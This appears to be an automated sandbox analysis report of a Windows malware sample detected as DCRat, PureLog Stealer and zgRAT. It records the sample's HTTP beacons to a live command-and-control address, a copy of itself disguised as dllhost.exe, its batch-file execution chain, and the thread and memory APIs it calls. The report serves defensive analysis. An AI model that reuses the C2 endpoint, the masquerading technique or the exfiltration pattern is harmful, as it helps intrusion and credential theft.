                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:31.656095982 CET1860OUTData Raw: 5c 59 43 51 5d 47 50 58 54 57 5b 51 55 51 59 59 50 58 5a 5b 56 5c 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YCQ]GPXTW[QUQYYPXZ[V\WSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&-=\?*$7&?(%'/#V+9# "P(_,^! Z+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:32.575131893 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:32.809266090 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0c 24 25 37 10 29 0a 22 08 28 5a 2c 06 2e 3c 3b 05 2b 30 25 5e 32 58 37 1e 25 2b 21 0e 3f 3e 24 01 27 21 39 14 27 09 2f 1c 3d 02 2f 58 07 1c 24 04 3c 28 23 1e 26 33 03 01 29 0f 27 13 26 2e 3c 5a 24 58 3f 03 24 23 38 12 2b 33 0f 1c 31 06 04 0c 2b 2b 37 05 39 09 0a 50 22 24 23 53 08 11 25 57 27 31 2b 01 32 2c 3f 07 21 0d 2a 1c 33 15 23 13 28 2c 2c 1d 28 1d 26 06 2a 31 2d 0e 27 0b 3b 0a 27 01 06 5d 33 23 3e 1a 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :$%7)"(Z,.<;+0%^2X7%+!?>$'!9'/=/X$<(#&3)'&.<Z$X?$#8+31++79P"$#S%W'1+2,?!*3#(,,(&*1-';']3#>%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      147192.168.2.45015591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:31.430282116 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:31.781119108 CET2536OUTData Raw: 5c 58 43 56 58 4a 50 5e 54 57 5b 51 55 5b 59 5c 50 5a 5a 59 56 50 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \XCVXJP^TW[QU[Y\PZZYVPWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3.=()^ %?&1Z0< ?\4+60+9#2,Y+?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:30:32.695657969 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:32.928951025 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      148192.168.2.45015691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:33.166475058 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:30:33.515544891 CET2532OUTData Raw: 59 5f 43 52 58 42 55 5f 54 57 5b 51 55 58 59 58 50 5e 5a 5b 56 5d 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_CRXBU_TW[QUXYXP^Z[V]WRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X'[!<0[457*%.$V<8!*53 T(9+"1'+/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:30:34.442656994 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:34.669001102 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:34 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      149192.168.2.45015791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:34.914922953 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:35.267260075 CET2536OUTData Raw: 59 59 46 53 5d 40 55 5d 54 57 5b 51 55 5a 59 58 50 5f 5a 5c 56 50 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYFS]@U]TW[QUZYXP_Z\VPW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$+_0Z 5<C-'/7U))#47!(,51$+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:36.192384958 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:36.425115108 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:35 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Statistics

                                                                                                                                      CPU Usage

                                                                                                                                      Click to jump to process

                                                                                                                                      Memory Usage

                                                                                                                                      Click to jump to process

                                                                                                                                      High Level Behavior Distribution

                                                                                                                                      Click to dive into process behavior distribution

                                                                                                                                      Behavior

                                                                                                                                      Click to jump to process

                                                                                                                                      System Behavior

                                                                                                                                      General

                                                                                                                                      Target ID:0
                                                                                                                                      Start time:18:26:54
                                                                                                                                      Start date:08/12/2024
                                                                                                                                      Path:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                      Commandline:"C:\Users\user\Desktop\eu6OEBpBCI.exe"
                                                                                                                                      Imagebase:0x4e0000
                                                                                                                                      File size:3'682'816 bytes
                                                                                                                                      MD5 hash:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      Has elevated privileges:true
                                                                                                                                      Has administrator privileges:true
                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                      Yara matches:
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1642613306.00000000004E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1689492935.0000000012ED7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                      Reputation:low
                                                                                                                                      Has exited:true

                                                                                                                                      General

                                                                                                                                      Target ID:1
                                                                                                                                      Start time:18:26:58
                                                                                                                                      Start date:08/12/2024
                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat"
                                                                                                                                      Imagebase:0x7ff7de560000
                                                                                                                                      File size:289'792 bytes
                                                                                                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                      Has elevated privileges:true
                                                                                                                                      Has administrator privileges:true
                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                      Reputation:high
                                                                                                                                      Has exited:true

                                                                                                                                      General

                                                                                                                                      Target ID:2
                                                                                                                                      Start time:18:26:58
                                                                                                                                      Start date:08/12/2024
                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                      Imagebase:0x7ff7699e0000
                                                                                                                                      File size:862'208 bytes
                                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                      Has elevated privileges:true
                                                                                                                                      Has administrator privileges:true
                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                      Reputation:high
                                                                                                                                      Has exited:true

                                                                                                                                      General

                                                                                                                                      Target ID:3
                                                                                                                                      Start time:18:26:58
                                                                                                                                      Start date:08/12/2024
                                                                                                                                      Path:C:\Windows\System32\chcp.com
                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                      Commandline:chcp 65001
                                                                                                                                      Imagebase:0x7ff6926b0000
                                                                                                                                      File size:14'848 bytes
                                                                                                                                      MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                      Has elevated privileges:true
                                                                                                                                      Has administrator privileges:true
                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                      Reputation:high
                                                                                                                                      Has exited:true

                                                                                                                                      General

                                                                                                                                      Target ID:4
                                                                                                                                      Start time:18:26:58
                                                                                                                                      Start date:08/12/2024
                                                                                                                                      Path:C:\Windows\System32\PING.EXE
                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                      Commandline:ping -n 10 localhost
                                                                                                                                      Imagebase:0x7ff7699e0000
                                                                                                                                      File size:22'528 bytes
                                                                                                                                      MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                                                                      Has elevated privileges:true
                                                                                                                                      Has administrator privileges:true
                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                      Reputation:high
                                                                                                                                      Has exited:true

                                                                                                                                      General

                                                                                                                                      Target ID:5
                                                                                                                                      Start time:18:27:07
                                                                                                                                      Start date:08/12/2024
                                                                                                                                      Path:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                      Commandline:"C:\Users\Public\Libraries\dllhost.exe"
                                                                                                                                      Imagebase:0x6e0000
                                                                                                                                      File size:3'682'816 bytes
                                                                                                                                      MD5 hash:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      Has elevated privileges:true
                                                                                                                                      Has administrator privileges:true
                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                      Yara matches:
                                                                                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Public\Libraries\dllhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Public\Libraries\dllhost.exe, Author: Joe Security
                                                                                                                                      Antivirus matches:
                                                                                                                                      • Detection: 100%, Avira
                                                                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                                                                      • Detection: 74%, ReversingLabs
                                                                                                                                      Reputation:low
                                                                                                                                      Has exited:false

                                                                                                                                      Disassembly

                                                                                                                                      Reset < >

                                                                                                                                        Execution Graph

                                                                                                                                        Execution Coverage:6.5%
                                                                                                                                        Dynamic/Decrypted Code Coverage:86.4%
                                                                                                                                        Signature Coverage:0%
                                                                                                                                        Total number of Nodes:22
                                                                                                                                        Total number of Limit Nodes:1
                                                                                                                                        execution_graph 21513 7ffd9b92d11d 21514 7ffd9b92d12b SuspendThread 21513->21514 21516 7ffd9b92d204 21514->21516 21508 7ffd9b92e953 21509 7ffd9b92e97b 21508->21509 21510 7ffd9b92e949 21509->21510 21511 7ffd9b92e9ef ResumeThread 21509->21511 21512 7ffd9b92ea54 21511->21512 21521 7ffd9b780750 21522 7ffd9b793bb0 21521->21522 21523 7ffd9b793f2d VirtualAlloc 21522->21523 21524 7ffd9b793f85 21523->21524 21503 7ffd9b788e0e 21504 7ffd9b788aed 21503->21504 21505 7ffd9b788af6 21504->21505 21505->21504 21507 7ffd9b780700 VirtualAlloc 21505->21507 21507->21505 21525 7ffd9b9307b5 21526 7ffd9b930802 GetFileAttributesW 21525->21526 21528 7ffd9b930895 21526->21528 21517 7ffd9b92eaa9 21518 7ffd9b92eab7 CloseHandle 21517->21518 21520 7ffd9b92eb94 21518->21520

                                                                                                                                        Executed Functions

                                                                                                                                        Function 00007FFD9B78F8E0 Relevance: 2.5, Strings: 1, Instructions: 1291COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1713747768.00007FFD9B780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B780000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b780000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID: $L_H
                                                                                                                                        • API String ID: 0-850402280
                                                                                                                                        • Opcode ID: d72f4dda2e39fa07ffd3f37809574b19b371952ae8002b4e73edab8454442832
                                                                                                                                        • Instruction ID: d10b5a9f69a3c7423d23e9ca218f3d56d8f5b65716f03e82d2878228e05dfd99
                                                                                                                                        • Opcode Fuzzy Hash: d72f4dda2e39fa07ffd3f37809574b19b371952ae8002b4e73edab8454442832
                                                                                                                                        • Instruction Fuzzy Hash: 22B2C870E19A1D8FDBA8DB58C895BACB7B1FF58301F1045A9D01DE72A5DA34AE81CF40
                                                                                                                                        Function 00007FFD9B780D68 Relevance: .3, Instructions: 274COMMON
                                                                                                                                        Download Yara Rule
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1713747768.00007FFD9B780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B780000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b780000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID:
                                                                                                                                        • Opcode ID: df1a94a89fc29c1da06066190ccff1ecc6d7a8045bd86ecac6362e8f5763ef68
                                                                                                                                        • Instruction ID: 4a45eeb7fb687ea8cd2faec122784feaeee5ee8fdee43630906365cb2cc03b05
                                                                                                                                        • Opcode Fuzzy Hash: df1a94a89fc29c1da06066190ccff1ecc6d7a8045bd86ecac6362e8f5763ef68
                                                                                                                                        • Instruction Fuzzy Hash: 6BA1B175A19A8D8FEB98DB68C8797A97FE1FB56300F4502BAD00DD72E6CB782411C740
                                                                                                                                        Function 00007FFD9B780700 Relevance: 1.7, APIs: 1, Instructions: 475memoryCOMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1713747768.00007FFD9B780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B780000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b780000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                        • Opcode ID: 64a1f68bc6947942dd47bc6231fa90a9bb58693e58aa25458ba8f4a166c92ea5
                                                                                                                                        • Instruction ID: e3679cce4758edc891540f9e00487698a4d978d175d36ec32e4a77cf95e8130f
                                                                                                                                        • Opcode Fuzzy Hash: 64a1f68bc6947942dd47bc6231fa90a9bb58693e58aa25458ba8f4a166c92ea5
                                                                                                                                        • Instruction Fuzzy Hash: 10F17F30919A4D8FDB95EF68C855BE97BF0FF59300F0142AAE41DD32A2DB34A985CB41
                                                                                                                                        Function 00007FFD9B78070D Relevance: 1.7, APIs: 1, Instructions: 473memoryCOMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1713747768.00007FFD9B780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B780000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b780000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                        • Opcode ID: a842b8f7f681c74c3c7658f1e9886a20c53f021bcbba51879138d73eb487934b
                                                                                                                                        • Instruction ID: 5dac123fa9124bf8427bc880c5e103b6e780c46314b8757327be1b6379586c13
                                                                                                                                        • Opcode Fuzzy Hash: a842b8f7f681c74c3c7658f1e9886a20c53f021bcbba51879138d73eb487934b
                                                                                                                                        • Instruction Fuzzy Hash: 0AE19130A19A4D8FDB95EF68C855AED7BF0FF59300F0101AAE44DD32A1DB34A985CB81
                                                                                                                                        Function 00007FFD9B780750 Relevance: 1.7, APIs: 1, Instructions: 454memoryCOMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1713747768.00007FFD9B780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B780000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b780000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                        • Opcode ID: 1b99067a1ae96bec75c3f52df5a43c34c919e75213718ae69e89855516207222
                                                                                                                                        • Instruction ID: e1f5be07012ead616180ec2ed29a0af41ad3ca72bfa3935cffa050c06e5684a6
                                                                                                                                        • Opcode Fuzzy Hash: 1b99067a1ae96bec75c3f52df5a43c34c919e75213718ae69e89855516207222
                                                                                                                                        • Instruction Fuzzy Hash: 41E17F30919A4D8FDB95EF68C855BE97BF0FF59300F0142AAD40DD32A2DB34A985CB81
                                                                                                                                        Function 00007FFD9B92E953 Relevance: 1.7, APIs: 1, Instructions: 160threadCOMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 362 7ffd9b92e953-7ffd9b92e979 363 7ffd9b92e97b 362->363 364 7ffd9b92e97c-7ffd9b92e989 362->364 363->364 365 7ffd9b92e98b-7ffd9b92ea52 ResumeThread 364->365 366 7ffd9b92e949-7ffd9b92e950 364->366 370 7ffd9b92ea54 365->370 371 7ffd9b92ea5a-7ffd9b92eaa4 365->371 370->371
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: ResumeThread
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 947044025-0
                                                                                                                                        • Opcode ID: 6521b585c8270644babad2d95d436e91840cef2ef560e2f18f7f8c7831a53ca8
                                                                                                                                        • Instruction ID: 4ddf1b0673ba5e5b126dfad50a93c6b47c0830dc9f29af5ec4eefe91a735d339
                                                                                                                                        • Opcode Fuzzy Hash: 6521b585c8270644babad2d95d436e91840cef2ef560e2f18f7f8c7831a53ca8
                                                                                                                                        • Instruction Fuzzy Hash: AA516A70E0968C8FDB59DFA8D895AEDBBF0EF5A310F1441ABD049D7292CA349846CB11
                                                                                                                                        Function 00007FFD9B92D11D Relevance: 1.6, APIs: 1, Instructions: 141threadinjectionCOMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 374 7ffd9b92d11d-7ffd9b92d129 375 7ffd9b92d134-7ffd9b92d202 SuspendThread 374->375 376 7ffd9b92d12b-7ffd9b92d133 374->376 380 7ffd9b92d204 375->380 381 7ffd9b92d20a-7ffd9b92d254 375->381 376->375 380->381
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: SuspendThread
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 3178671153-0
                                                                                                                                        • Opcode ID: dc30f4fa334c05cb9210b5303b1bf6070e2628848f335f6363726b4bb9f478c3
                                                                                                                                        • Instruction ID: 97d3f8aa7583ceff720ed4446fca2db4ec107ea6aa7b1b6cb6f12d036fb1f5b4
                                                                                                                                        • Opcode Fuzzy Hash: dc30f4fa334c05cb9210b5303b1bf6070e2628848f335f6363726b4bb9f478c3
                                                                                                                                        • Instruction Fuzzy Hash: C9414A70E0864C8FDB98DFA8D895AADBBF0FF5A310F10416AD059E7292DA74A845CB41
                                                                                                                                        Function 00007FFD9B9307B5 Relevance: 1.6, APIs: 1, Instructions: 133COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 384 7ffd9b9307b5-7ffd9b930893 GetFileAttributesW 387 7ffd9b930895 384->387 388 7ffd9b93089b-7ffd9b9308d9 384->388 387->388
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: AttributesFile
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 3188754299-0
                                                                                                                                        • Opcode ID: c14768835f544d0747a40d34543d23c2c6337b828c84becb841324f9f79c9462
                                                                                                                                        • Instruction ID: 3560b42290f9a8b1f58a5b5bd3961a6f022eaffeb1cc94768c379799dd656e6c
                                                                                                                                        • Opcode Fuzzy Hash: c14768835f544d0747a40d34543d23c2c6337b828c84becb841324f9f79c9462
                                                                                                                                        • Instruction Fuzzy Hash: CD411770E0865C8FDB98DF98D894BEDBBF0FB5A310F1041AAD009E7252DA71A885CF41
                                                                                                                                        Function 00007FFD9BE79C18 Relevance: 1.4, Strings: 1, Instructions: 157COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        Strings
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1727800992.00007FFD9BE70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE70000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9be70000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID:
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 0-3916222277
                                                                                                                                        • Opcode ID: 59409c9c36e8bb8ffb794e7b8cab4c520f03156b884c37900d309ef51ab38f15
                                                                                                                                        • Instruction ID: d65c844a97b8edd8f4cb9eccd82bc69b495fd07cacdd7cfa965eba9f55b1ccbf
                                                                                                                                        • Opcode Fuzzy Hash: 59409c9c36e8bb8ffb794e7b8cab4c520f03156b884c37900d309ef51ab38f15
                                                                                                                                        • Instruction Fuzzy Hash: 88515F35E0955E9FDB59DB98C4A99FCB7B5FF44300F1140BAD01EE72A6CA3A6A01CB40
                                                                                                                                        Function 00007FFD9B92EAA9 Relevance: 1.4, APIs: 1, Instructions: 143COMMON
                                                                                                                                        Download Yara Rule

                                                                                                                                        Control-flow Graph

                                                                                                                                        • Executed
                                                                                                                                        • Not Executed
                                                                                                                                        control_flow_graph 479 7ffd9b92eaa9-7ffd9b92eab5 480 7ffd9b92eac0-7ffd9b92eb92 CloseHandle 479->480 481 7ffd9b92eab7-7ffd9b92eabf 479->481 484 7ffd9b92eb94 480->484 485 7ffd9b92eb9a-7ffd9b92ebee 480->485 481->480 484->485
                                                                                                                                        APIs
                                                                                                                                        Memory Dump Source
                                                                                                                                        • Source File: 00000000.00000002.1715527592.00007FFD9B920000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B920000, based on PE: false
                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                        • Snapshot File: hcaresult_0_2_7ffd9b920000_eu6OEBpBCI.jbxd
                                                                                                                                        Similarity
                                                                                                                                        • API ID: CloseHandle
                                                                                                                                        • String ID:
                                                                                                                                        • API String ID: 2962429428-0
                                                                                                                                        • Opcode ID: 02efbaea10316fe078f1a85a78b35dd60c77d0965bbbbcf0874e4614233489a5
                                                                                                                                        • Instruction ID: 83601e94fe42f45a84c8744a1ef6d7deb6f8e8d0370e8bd26807e29f7f45d056
                                                                                                                                        • Opcode Fuzzy Hash: 02efbaea10316fe078f1a85a78b35dd60c77d0965bbbbcf0874e4614233489a5
